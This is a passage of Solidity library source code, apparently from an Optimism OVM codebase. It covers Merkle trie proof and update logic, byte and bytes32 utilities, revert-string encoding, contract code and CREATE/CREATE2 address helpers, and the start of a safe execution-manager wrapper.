PREFIX_LEAF_EVEN || prefix == PREFIX_LEAF_ODD) { if ( pathRemainder.length == sharedNibbleLength && keyRemainder.length == sharedNibbleLength ) { // The key within this leaf matches our key exactly. // Increment the key index to reflect that we have no remainder. currentKeyIndex += sharedNibbleLength; } // We've hit a leaf node, so our next node should be NULL. currentNodeID = bytes32(RLP_NULL); break; } else if (prefix == PREFIX_EXTENSION_EVEN || prefix == PREFIX_EXTENSION_ODD) { if (sharedNibbleLength == 0) { // Our extension node doesn't share any part of our key. // We've hit the end of this path, updates will need to modify this extension. currentNodeID = bytes32(RLP_NULL); break; } else { // Our extension shares some nibbles. // Carry on to the next node. currentNodeID = _getNodeID(currentNode.decoded[1]); currentKeyIncrement = sharedNibbleLength; continue; } } else { revert("Received a node with an unknown prefix"); } } else { revert("Received an unparseable node."); } } // If our node ID is NULL, then we're at a dead end. bool isFinalNode = currentNodeID == bytes32(RLP_NULL); return (pathLength, Lib_BytesUtils.slice(key, currentKeyIndex), isFinalNode); } /** * @notice Creates new nodes to support a k/v pair insertion into a given * Merkle trie path. * @param _path Path to the node nearest the k/v pair. * @param _pathLength Length of the path. Necessary because the provided * path may include additional nodes (e.g., it comes directly from a proof) * and we can't resize in-memory arrays without costly duplication. * @param _keyRemainder Portion of the initial key that must be inserted * into the trie. * @param _value Value to insert at the given key. * @return _newPath A new path with the inserted k/v pair and extra supporting nodes. */ function _getNewPath( TrieNode[] memory _path, uint256 _pathLength, bytes memory _keyRemainder, bytes memory _value ) private pure returns ( TrieNode[] memory _newPath ) { bytes memory keyRemainder = _keyRemainder; // Most of our logic depends on the status of the last node in the path. TrieNode memory lastNode = _path[_pathLength - 1]; NodeType lastNodeType = _getNodeType(lastNode); // Create an array for newly created nodes. // We need up to three new nodes, depending on the contents of the last node. // Since array resizing is expensive, we'll keep track of the size manually. // We're using an explicit `totalNewNodes += 1` after insertions for clarity. TrieNode[] memory newNodes = new TrieNode[](3); uint256 totalNewNodes = 0; if (keyRemainder.length == 0 && lastNodeType == NodeType.LeafNode) { // We've found a leaf node with the given key. // Simply need to update the value of the node to match. newNodes[totalNewNodes] = _makeLeafNode(_getNodeKey(lastNode), _value); totalNewNodes += 1; } else if (lastNodeType == NodeType.BranchNode) { if (keyRemainder.length == 0) { // We've found a branch node with the given key. // Simply need to update the value of the node to match. newNodes[totalNewNodes] = _editBranchValue(lastNode, _value); totalNewNodes += 1; } else { // We've found a branch node, but it doesn't contain our key. // Reinsert the old branch for now. newNodes[totalNewNodes] = lastNode; totalNewNodes += 1; // Create a new leaf node, slicing our remainder since the first byte points // to our branch node. newNodes[totalNewNodes] = _makeLeafNode(Lib_BytesUtils.slice(keyRemainder, 1), _value); totalNewNodes += 1; } } else { // Our last node is either an extension node or a leaf node with a different key. bytes memory lastNodeKey = _getNodeKey(lastNode); uint256 sharedNibbleLength = _getSharedNibbleLength(lastNodeKey, keyRemainder); if (sharedNibbleLength != 0) { // We've got some shared nibbles between the last node and our key remainder. // We'll need to insert an extension node that covers these shared nibbles. bytes memory nextNodeKey = Lib_BytesUtils.slice(lastNodeKey, 0, sharedNibbleLength); newNodes[totalNewNodes] = _makeExtensionNode(nextNodeKey, _getNodeHash(_value)); totalNewNodes += 1; // Cut down the keys since we've just covered these shared nibbles. lastNodeKey = Lib_BytesUtils.slice(lastNodeKey, sharedNibbleLength); keyRemainder = Lib_BytesUtils.slice(keyRemainder, sharedNibbleLength); } // Create an empty branch to fill in. TrieNode memory newBranch = _makeEmptyBranchNode(); if (lastNodeKey.length == 0) { // Key remainder was larger than the key for our last node. // The value within our last node is therefore going to be shifted into // a branch value slot. newBranch = _editBranchValue(newBranch, _getNodeValue(lastNode)); } else { // Last node key was larger than the key remainder. // We're going to modify some index of our branch. uint8 branchKey = uint8(lastNodeKey[0]); // Move on to the next nibble. lastNodeKey = Lib_BytesUtils.slice(lastNodeKey, 1); if (lastNodeType == NodeType.LeafNode) { // We're dealing with a leaf node. // We'll modify the key and insert the old leaf node into the branch index. TrieNode memory modifiedLastNode = _makeLeafNode(lastNodeKey, _getNodeValue(lastNode)); newBranch = _editBranchIndex(newBranch, branchKey, _getNodeHash(modifiedLastNode.encoded)); } else if (lastNodeKey.length != 0) { // We're dealing with a shrinking extension node. // We need to modify the node to decrease the size of the key. TrieNode memory modifiedLastNode = _makeExtensionNode(lastNodeKey, _getNodeValue(lastNode)); newBranch = _editBranchIndex(newBranch, branchKey, _getNodeHash(modifiedLastNode.encoded)); } else { // We're dealing with an unnecessary extension node. // We're going to delete the node entirely. // Simply insert its current value into the branch index. newBranch = _editBranchIndex(newBranch, branchKey, _getNodeValue(lastNode)); } } if (keyRemainder.length == 0) { // We've got nothing left in the key remainder. // Simply insert the value into the branch value slot. newBranch = _editBranchValue(newBranch, _value); // Push the branch into the list of new nodes. newNodes[totalNewNodes] = newBranch; totalNewNodes += 1; } else { // We've got some key remainder to work with. // We'll be inserting a leaf node into the trie. // First, move on to the next nibble. keyRemainder = Lib_BytesUtils.slice(keyRemainder, 1); // Push the branch into the list of new nodes. newNodes[totalNewNodes] = newBranch; totalNewNodes += 1; // Push a new leaf node for our k/v pair. newNodes[totalNewNodes] = _makeLeafNode(keyRemainder, _value); totalNewNodes += 1; } } // Finally, join the old path with our newly created nodes. // Since we're overwriting the last node in the path, we use `_pathLength - 1`. return _joinNodeArrays(_path, _pathLength - 1, newNodes, totalNewNodes); } /** * @notice Computes the trie root from a given path. * @param _nodes Path to some k/v pair. * @param _key Key for the k/v pair. * @return _updatedRoot Root hash for the updated trie. */ function _getUpdatedTrieRoot( TrieNode[] memory _nodes, bytes memory _key ) private pure returns ( bytes32 _updatedRoot ) { bytes memory key = Lib_BytesUtils.toNibbles(_key); // Some variables to keep track of during iteration. TrieNode memory currentNode; NodeType currentNodeType; bytes memory previousNodeHash; // Run through the path backwards to rebuild our root hash. for (uint256 i = _nodes.length; i > 0; i--) { // Pick out the current node. currentNode = _nodes[i - 1]; currentNodeType = _getNodeType(currentNode); if (currentNodeType == NodeType.LeafNode) { // Leaf nodes are already correctly encoded. // Shift the key over to account for the nodes key. bytes memory nodeKey = _getNodeKey(currentNode); key = Lib_BytesUtils.slice(key, 0, key.length - nodeKey.length); } else if (currentNodeType == NodeType.ExtensionNode) { // Shift the key over to account for the nodes key. bytes memory nodeKey = _getNodeKey(currentNode); key = Lib_BytesUtils.slice(key, 0, key.length - nodeKey.length); // If this node is the last element in the path, it'll be correctly encoded // and we can skip this part. if (previousNodeHash.length > 0) { // Re-encode the node based on the previous node. currentNode = _makeExtensionNode(nodeKey, previousNodeHash); } } else if (currentNodeType == NodeType.BranchNode) { // If this node is the last element in the path, it'll be correctly encoded // and we can skip this part. if (previousNodeHash.length > 0) { // Re-encode the node based on the previous node. uint8 branchKey = uint8(key[key.length - 1]); key = Lib_BytesUtils.slice(key, 0, key.length - 1); currentNode = _editBranchIndex(currentNode, branchKey, previousNodeHash); } } // Compute the node hash for the next iteration. previousNodeHash = _getNodeHash(currentNode.encoded); } // Current node should be the root at this point. // Simply return the hash of its encoding. return keccak256(currentNode.encoded); } /** * @notice Parses an RLP-encoded proof into something more useful. * @param _proof RLP-encoded proof to parse. * @return _parsed Proof parsed into easily accessible structs. */ function _parseProof( bytes memory _proof ) private pure returns ( TrieNode[] memory _parsed ) { Lib_RLPReader.RLPItem[] memory nodes = Lib_RLPReader.readList(_proof); TrieNode[] memory proof = new TrieNode[](nodes.length); for (uint256 i = 0; i < nodes.length; i++) { bytes memory encoded = Lib_RLPReader.readBytes(nodes[i]); proof[i] = TrieNode({ encoded: encoded, decoded: Lib_RLPReader.readList(encoded) }); } return proof; } /** * @notice Picks out the ID for a node. Node ID is referred to as the * "hash" within the specification, but nodes < 32 bytes are not actually * hashed. * @param _node Node to pull an ID for. * @return _nodeID ID for the node, depending on the size of its contents. */ function _getNodeID( Lib_RLPReader.RLPItem memory _node ) private pure returns ( bytes32 _nodeID ) { bytes memory nodeID; if (_node.length < 32) { // Nodes smaller than 32 bytes are RLP encoded. nodeID = Lib_RLPReader.readRawBytes(_node); } else { // Nodes 32 bytes or larger are hashed. nodeID = Lib_RLPReader.readBytes(_node); } return Lib_BytesUtils.toBytes32(nodeID); } /** * @notice Gets the path for a leaf or extension node. * @param _node Node to get a path for. * @return _path Node path, converted to an array of nibbles. */ function _getNodePath( TrieNode memory _node ) private pure returns ( bytes memory _path ) { return Lib_BytesUtils.toNibbles(Lib_RLPReader.readBytes(_node.decoded[0])); } /** * @notice Gets the key for a leaf or extension node. Keys are essentially * just paths without any prefix. * @param _node Node to get a key for. * @return _key Node key, converted to an array of nibbles. */ function _getNodeKey( TrieNode memory _node ) private pure returns ( bytes memory _key ) { return _removeHexPrefix(_getNodePath(_node)); } /** * @notice Gets the path for a node. * @param _node Node to get a value for. * @return _value Node value, as hex bytes. */ function _getNodeValue( TrieNode memory _node ) private pure returns ( bytes memory _value ) { return Lib_RLPReader.readBytes(_node.decoded[_node.decoded.length - 1]); } /** * @notice Computes the node hash for an encoded node. Nodes < 32 bytes * are not hashed, all others are keccak256 hashed. * @param _encoded Encoded node to hash. * @return _hash Hash of the encoded node. Simply the input if < 32 bytes. */ function _getNodeHash( bytes memory _encoded ) private pure returns ( bytes memory _hash ) { if (_encoded.length < 32) { return _encoded; } else { return abi.encodePacked(keccak256(_encoded)); } } /** * @notice Determines the type for a given node. * @param _node Node to determine a type for. * @return _type Type of the node; BranchNode/ExtensionNode/LeafNode. */ function _getNodeType( TrieNode memory _node ) private pure returns ( NodeType _type ) { if (_node.decoded.length == BRANCH_NODE_LENGTH) { return NodeType.BranchNode; } else if (_node.decoded.length == LEAF_OR_EXTENSION_NODE_LENGTH) { bytes memory path = _getNodePath(_node); uint8 prefix = uint8(path[0]); if (prefix == PREFIX_LEAF_EVEN || prefix == PREFIX_LEAF_ODD) { return NodeType.LeafNode; } else if (prefix == PREFIX_EXTENSION_EVEN || prefix == PREFIX_EXTENSION_ODD) { return NodeType.ExtensionNode; } } revert("Invalid node type"); } /** * @notice Utility; determines the number of nibbles shared between two * nibble arrays. * @param _a First nibble array. * @param _b Second nibble array. * @return _shared Number of shared nibbles. */ function _getSharedNibbleLength( bytes memory _a, bytes memory _b ) private pure returns ( uint256 _shared ) { uint256 i = 0; while (_a.length > i && _b.length > i && _a[i] == _b[i]) { i++; } return i; } /** * @notice Utility; converts an RLP-encoded node into our nice struct. * @param _raw RLP-encoded node to convert. * @return _node Node as a TrieNode struct. */ function _makeNode( bytes[] memory _raw ) private pure returns ( TrieNode memory _node ) { bytes memory encoded = Lib_RLPWriter.writeList(_raw); return TrieNode({ encoded: encoded, decoded: Lib_RLPReader.readList(encoded) }); } /** * @notice Utility; converts an RLP-decoded node into our nice struct. * @param _items RLP-decoded node to convert. * @return _node Node as a TrieNode struct. */ function _makeNode( Lib_RLPReader.RLPItem[] memory _items ) private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](_items.length); for (uint256 i = 0; i < _items.length; i++) { raw[i] = Lib_RLPReader.readRawBytes(_items[i]); } return _makeNode(raw); } /** * @notice Creates a new extension node. * @param _key Key for the extension node, unprefixed. * @param _value Value for the extension node. * @return _node New extension node with the given k/v pair. */ function _makeExtensionNode( bytes memory _key, bytes memory _value ) private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](2); bytes memory key = _addHexPrefix(_key, false); raw[0] = Lib_RLPWriter.writeBytes(Lib_BytesUtils.fromNibbles(key)); raw[1] = Lib_RLPWriter.writeBytes(_value); return _makeNode(raw); } /** * @notice Creates a new leaf node. * @dev This function is essentially identical to `_makeExtensionNode`. * Although we could route both to a single method with a flag, it's * more gas efficient to keep them separate and duplicate the logic. * @param _key Key for the leaf node, unprefixed. * @param _value Value for the leaf node. * @return _node New leaf node with the given k/v pair. */ function _makeLeafNode( bytes memory _key, bytes memory _value ) private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](2); bytes memory key = _addHexPrefix(_key, true); raw[0] = Lib_RLPWriter.writeBytes(Lib_BytesUtils.fromNibbles(key)); raw[1] = Lib_RLPWriter.writeBytes(_value); return _makeNode(raw); } /** * @notice Creates an empty branch node. * @return _node Empty branch node as a TrieNode struct. */ function _makeEmptyBranchNode() private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](BRANCH_NODE_LENGTH); for (uint256 i = 0; i < raw.length; i++) { raw[i] = RLP_NULL_BYTES; } return _makeNode(raw); } /** * @notice Modifies the value slot for a given branch. * @param _branch Branch node to modify. * @param _value Value to insert into the branch. * @return _updatedNode Modified branch node. */ function _editBranchValue( TrieNode memory _branch, bytes memory _value ) private pure returns ( TrieNode memory _updatedNode ) { bytes memory encoded = Lib_RLPWriter.writeBytes(_value); _branch.decoded[_branch.decoded.length - 1] = Lib_RLPReader.toRLPItem(encoded); return _makeNode(_branch.decoded); } /** * @notice Modifies a slot at an index for a given branch. * @param _branch Branch node to modify. * @param _index Slot index to modify. * @param _value Value to insert into the slot. * @return _updatedNode Modified branch node. */ function _editBranchIndex( TrieNode memory _branch, uint8 _index, bytes memory _value ) private pure returns ( TrieNode memory _updatedNode ) { bytes memory encoded = _value.length < 32 ? _value : Lib_RLPWriter.writeBytes(_value); _branch.decoded[_index] = Lib_RLPReader.toRLPItem(encoded); return _makeNode(_branch.decoded); } /** * @notice Utility; adds a prefix to a key. * @param _key Key to prefix. * @param _isLeaf Whether or not the key belongs to a leaf. * @return _prefixedKey Prefixed key. */ function _addHexPrefix( bytes memory _key, bool _isLeaf ) private pure returns ( bytes memory _prefixedKey ) { uint8 prefix = _isLeaf ? uint8(0x02) : uint8(0x00); uint8 offset = uint8(_key.length % 2); bytes memory prefixed = new bytes(2 - offset); prefixed[0] = bytes1(prefix + offset); return abi.encodePacked(prefixed, _key); } /** * @notice Utility; removes a prefix from a path. * @param _path Path to remove the prefix from. * @return _unprefixedKey Unprefixed key. */ function _removeHexPrefix( bytes memory _path ) private pure returns ( bytes memory _unprefixedKey ) { if (uint8(_path[0]) % 2 == 0) { return Lib_BytesUtils.slice(_path, 2); } else { return Lib_BytesUtils.slice(_path, 1); } } /** * @notice Utility; combines two node arrays. Array lengths are required * because the actual lengths may be longer than the filled lengths. * Array resizing is extremely costly and should be avoided. * @param _a First array to join. * @param _aLength Length of the first array. * @param _b Second array to join. * @param _bLength Length of the second array. * @return _joined Combined node array. */ function _joinNodeArrays( TrieNode[] memory _a, uint256 _aLength, TrieNode[] memory _b, uint256 _bLength ) private pure returns ( TrieNode[] memory _joined ) { TrieNode[] memory ret = new TrieNode[](_aLength + _bLength); // Copy elements from the first array. for (uint256 i = 0; i < _aLength; i++) { ret[i] = _a[i]; } // Copy elements from the second array. for (uint256 i = 0; i < _bLength; i++) { ret[i + _aLength] = _b[i]; } return ret; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_MerkleTrie } from "./Lib_MerkleTrie.sol"; /** * @title Lib_SecureMerkleTrie */ library Lib_SecureMerkleTrie { /********************** * Internal Functions * **********************/ /** * @notice Verifies a proof that a given key/value pair is present in the * Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _value Value of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the desired node. Unlike * traditional Merkle trees, this proof is executed top-down and consists * of a list of RLP-encoded nodes that make a path down to the target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the k/v pair exists in the trie, `false` otherwise. */ function verifyInclusionProof( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.verifyInclusionProof(key, _value, _proof, _root); } /** * @notice Verifies a proof that a given key is *not* present in * the Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the node *nearest* the * target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the key is not present in the trie, `false` otherwise. */ function verifyExclusionProof( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.verifyExclusionProof(key, _proof, _root); } /** * @notice Updates a Merkle trie and returns a new root hash. * @param _key Key of the node to update, as a hex string. * @param _value Value of the node to update, as a hex string. * @param _proof Merkle trie inclusion proof for the node *nearest* the * target node. If the key exists, we can simply update the value. * Otherwise, we need to modify the trie to handle the new k/v pair. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _updatedRoot Root hash of the newly constructed trie. */ function update( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bytes32 _updatedRoot ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.update(key, _value, _proof, _root); } /** * @notice Retrieves the value associated with a given key. * @param _key Key to search for, as hex bytes. * @param _proof Merkle trie inclusion proof for the key. * @param _root Known root of the Merkle trie. * @return _exists Whether or not the key exists. * @return _value Value of the key if it exists. */ function get( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _exists, bytes memory _value ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.get(key, _proof, _root); } /** * Computes the root hash for a trie with a single node. * @param _key Key for the single node. * @param _value Value for the single node. * @return _updatedRoot Hash of the trie. */ function getSingleNodeRootHash( bytes memory _key, bytes memory _value ) internal pure returns ( bytes32 _updatedRoot ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.getSingleNodeRootHash(key, _value); } /********************* * Private Functions * *********************/ /** * Computes the secure counterpart to a key. * @param _key Key to get a secure key from. * @return _secureKey Secure version of the key. */ function _getSecureKey( bytes memory _key ) private pure returns ( bytes memory _secureKey ) { return abi.encodePacked(keccak256(_key)); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /** * @title Lib_Byte32Utils */ library Lib_Bytes32Utils { /********************** * Internal Functions * **********************/ /** * Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true." * @param _in Input bytes32 value. * @return Bytes32 as a boolean. */ function toBool( bytes32 _in ) internal pure returns ( bool ) { return _in != 0; } /** * Converts a boolean to a bytes32 value. * @param _in Input boolean value. * @return Boolean as a bytes32. */ function fromBool( bool _in ) internal pure returns ( bytes32 ) { return bytes32(uint256(_in ? 1 : 0)); } /** * Converts a bytes32 value to an address. Takes the *last* 20 bytes. * @param _in Input bytes32 value. * @return Bytes32 as an address. */ function toAddress( bytes32 _in ) internal pure returns ( address ) { return address(uint160(uint256(_in))); } /** * Converts an address to a bytes32. * @param _in Input address value. * @return Address as a bytes32. */ function fromAddress( address _in ) internal pure returns ( bytes32 ) { return bytes32(uint256(_in)); } /** * Removes the leading zeros from a bytes32 value and returns a new (smaller) bytes value. * @param _in Input bytes32 value. * @return Bytes32 without any leading zeros. */ function removeLeadingZeros( bytes32 _in ) internal pure returns ( bytes memory ) { bytes memory out; assembly { // Figure out how many leading zero bytes to remove. let shift := 0 for { let i := 0 } and(lt(i, 32), eq(byte(i, _in), 0)) { i := add(i, 1) } { shift := add(shift, 1) } // Reserve some space for our output and fix the free memory pointer. out := mload(0x40) mstore(0x40, add(out, 0x40)) // Shift the value and store it into the output bytes. mstore(add(out, 0x20), shl(mul(shift, 8), _in)) // Store the new size (with leading zero bytes removed) in the output byte size. mstore(out, sub(32, shift)) } return out; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /** * @title Lib_BytesUtils */ library Lib_BytesUtils { /********************** * Internal Functions * **********************/ function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, "slice_overflow"); require(_start + _length >= _start, "slice_overflow"); require(_bytes.length >= _start + _length, "slice_outOfBounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function slice( bytes memory _bytes, uint256 _start ) internal pure returns (bytes memory) { if (_bytes.length - _start == 0) { return bytes(''); } return slice(_bytes, _start, _bytes.length - _start); } function toBytes32PadLeft( bytes memory _bytes ) internal pure returns (bytes32) { bytes32 ret; uint256 len = _bytes.length <= 32 ? _bytes.length : 32; assembly { ret := shr(mul(sub(32, len), 8), mload(add(_bytes, 32))) } return ret; } function toBytes32( bytes memory _bytes ) internal pure returns (bytes32) { if (_bytes.length < 32) { bytes32 ret; assembly { ret := mload(add(_bytes, 32)) } return ret; } return abi.decode(_bytes,(bytes32)); // will truncate if input length > 32 bytes } function toUint256( bytes memory _bytes ) internal pure returns (uint256) { return uint256(toBytes32(_bytes)); } function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) { require(_start + 3 >= _start, "toUint24_overflow"); require(_bytes.length >= _start + 3 , "toUint24_outOfBounds"); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } function toUint8(bytes memory _bytes, uint256 _start) internal pure returns (uint8) { require(_start + 1 >= _start, "toUint8_overflow"); require(_bytes.length >= _start + 1 , "toUint8_outOfBounds"); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) { require(_start + 20 >= _start, "toAddress_overflow"); require(_bytes.length >= _start + 20, "toAddress_outOfBounds"); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toNibbles( bytes memory _bytes ) internal pure returns (bytes memory) { bytes memory nibbles = new bytes(_bytes.length * 2); for (uint256 i = 0; i < _bytes.length; i++) { nibbles[i * 2] = _bytes[i] >> 4; nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16); } return nibbles; } function fromNibbles( bytes memory _bytes ) internal pure returns (bytes memory) { bytes memory ret = new bytes(_bytes.length / 2); for (uint256 i = 0; i < ret.length; i++) { ret[i] = (_bytes[i * 2] << 4) | (_bytes[i * 2 + 1]); } return ret; } function equal( bytes memory _bytes, bytes memory _other ) internal pure returns (bool) { return keccak256(_bytes) == keccak256(_other); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /** * @title Lib_ErrorUtils */ library Lib_ErrorUtils { /********************** * Internal Functions * **********************/ /** * Encodes an error string into raw solidity-style revert data. * (i.e. ascii bytes, prefixed with bytes4(keccak("Error(string))")) * Ref: https://docs.soliditylang.org/en/v0.8.2/control-structures.html?highlight=Error(string)#panic-via-assert-and-error-via-require * @param _reason Reason for the reversion. * @return Standard solidity revert data for the given reason. */ function encodeRevertString( string memory _reason ) internal pure returns ( bytes memory ) { return abi.encodeWithSignature( "Error(string)", _reason ); } } // SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; import { Lib_Bytes32Utils } from "./Lib_Bytes32Utils.sol"; /** * @title Lib_EthUtils */ library Lib_EthUtils { /*********************************** * Internal Functions: Code Access * ***********************************/ /** * Gets the code for a given address. * @param _address Address to get code for. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return _code Code read from the contract. */ function getCode( address _address, uint256 _offset, uint256 _length ) internal view returns ( bytes memory _code ) { assembly { _code := mload(0x40) mstore(0x40, add(_code, add(_length, 0x20))) mstore(_code, _length) extcodecopy(_address, add(_code, 0x20), _offset, _length) } return _code; } /** * Gets the full code for a given address. * @param _address Address to get code for. * @return _code Full code of the contract. */ function getCode( address _address ) internal view returns ( bytes memory _code ) { return getCode( _address, 0, getCodeSize(_address) ); } /** * Gets the size of a contract's code in bytes. * @param _address Address to get code size for. * @return _codeSize Size of the contract's code in bytes. */ function getCodeSize( address _address ) internal view returns ( uint256 _codeSize ) { assembly { _codeSize := extcodesize(_address) } return _codeSize; } /** * Gets the hash of a contract's code. * @param _address Address to get a code hash for. * @return _codeHash Hash of the contract's code. */ function getCodeHash( address _address ) internal view returns ( bytes32 _codeHash ) { assembly { _codeHash := extcodehash(_address) } return _codeHash; } /***************************************** * Internal Functions: Contract Creation * *****************************************/ /** * Creates a contract with some given initialization code. * @param _code Contract initialization code. * @return _created Address of the created contract. */ function createContract( bytes memory _code ) internal returns ( address _created ) { assembly { _created := create( 0, add(_code, 0x20), mload(_code) ) } return _created; } /** * Computes the address that would be generated by CREATE. * @param _creator Address creating the contract. * @param _nonce Creator's nonce. * @return _address Address to be generated by CREATE. */ function getAddressForCREATE( address _creator, uint256 _nonce ) internal pure returns ( address _address ) { bytes[] memory encoded = new bytes[](2); encoded[0] = Lib_RLPWriter.writeAddress(_creator); encoded[1] = Lib_RLPWriter.writeUint(_nonce); bytes memory encodedList = Lib_RLPWriter.writeList(encoded); return Lib_Bytes32Utils.toAddress(keccak256(encodedList)); } /** * Computes the address that would be generated by CREATE2. * @param _creator Address creating the contract. * @param _bytecode Bytecode of the contract to be created. * @param _salt 32 byte salt value mixed into the hash. * @return _address Address to be generated by CREATE2. */ function getAddressForCREATE2( address _creator, bytes memory _bytecode, bytes32 _salt ) internal pure returns (address _address) { bytes32 hashedData = keccak256(abi.encodePacked( byte(0xff), _creator, _salt, keccak256(_bytecode) )); return Lib_Bytes32Utils.toAddress(hashedData); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* Library Imports */ import { Lib_ErrorUtils } from "../utils/Lib_ErrorUtils.sol"; /** * @title Lib_SafeExecutionManagerWrapper * @dev The Safe Execution Manager Wrapper provides functions which facilitate writing OVM safe * code using the standard solidity compiler, by routing all its operations through the Execution * Manager. * * Compiler used: solc * Runtime target: OVM */ library Lib_SafeExecutionManagerWrapper { /********************** * Internal Functions * **********************/ /** * Performs a safe ovmCALL. * @param _gasLimit Gas limit for the call. * @param _target Address to call. * @param _calldata Data to send to the call. * @return _success Whether or not the call reverted. * @return _returndata Data returned by the call. */ function safeCALL( uint256 _gasLimit, address _target, bytes memory _calldata ) internal returns ( bool _success, bytes memory _returndata ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCALL(uint256,address,bytes)", _gasLimit, _target, _calldata ) ); return abi.decode(returndata, (bool, bytes)); } /** * Performs a safe ovmDELEGATECALL. * @param _gasLimit Gas limit for the call. * @param _target Address to call. * @param _calldata Data to send to the call. * @return _success Whether or not the call reverted. * @return _returndata Data returned by the call. */ function safeDELEGATECALL( uint256 _gasLimit, address _target, bytes memory _calldata ) internal returns ( bool _success, bytes memory _returndata ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmDELEGATECALL(uint256,address,bytes)", _gasLimit, _target, _calldata ) ); return abi.decode(returndata, (bool, bytes)); } /** * Performs a safe ovmCREATE call. * @param _gasLimit Gas limit for the creation. * @param _bytecode Code for the new contract. * @return _contract Address of the created contract. */ function safeCREATE( uint256 _gasLimit, bytes memory _bytecode ) internal returns ( address, bytes memory ) { bytes memory returndata = _safeExecutionManagerInteraction( _gasLimit, abi.encodeWithSignature( "ovmCREATE(bytes)", _bytecode ) ); return abi.decode(returndata, (address, bytes)); } /** * Performs a safe ovmEXTCODESIZE call. * @param _contract Address of the contract to query the size of. * @return _EXTCODESIZE Size of the requested contract in bytes. */ function safeEXTCODESIZE( address _contract ) internal returns ( uint256 _EXTCODESIZE ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmEXTCODESIZE(address)", _contract ) ); return abi.decode(returndata, (uint256)); } /** * Performs a safe ovmCHAINID call. * @return _CHAINID Result of calling ovmCHAINID. */ function safeCHAINID() internal returns ( uint256 _CHAINID ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCHAINID()" ) ); return abi.decode(returndata, (uint256)); } /** * Performs a safe ovmCALLER call. * @return _CALLER Result of calling ovmCALLER. */ function safeCALLER() internal returns ( address _CALLER ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCALLER()" ) ); return abi.decode(returndata, (address)); } /** * Performs a safe ovmADDRESS call. * @return _ADDRESS Result of calling ovmADDRESS. */ function safeADDRESS() internal returns ( address _ADDRESS ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmADDRESS()" ) ); return abi.decode(returndata, (address)); } /** * Performs a safe ovmGETNONCE call. * @return _nonce Result of calling ovmGETNONCE. */ function safeGETNONCE() internal returns ( uint256 _nonce ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( 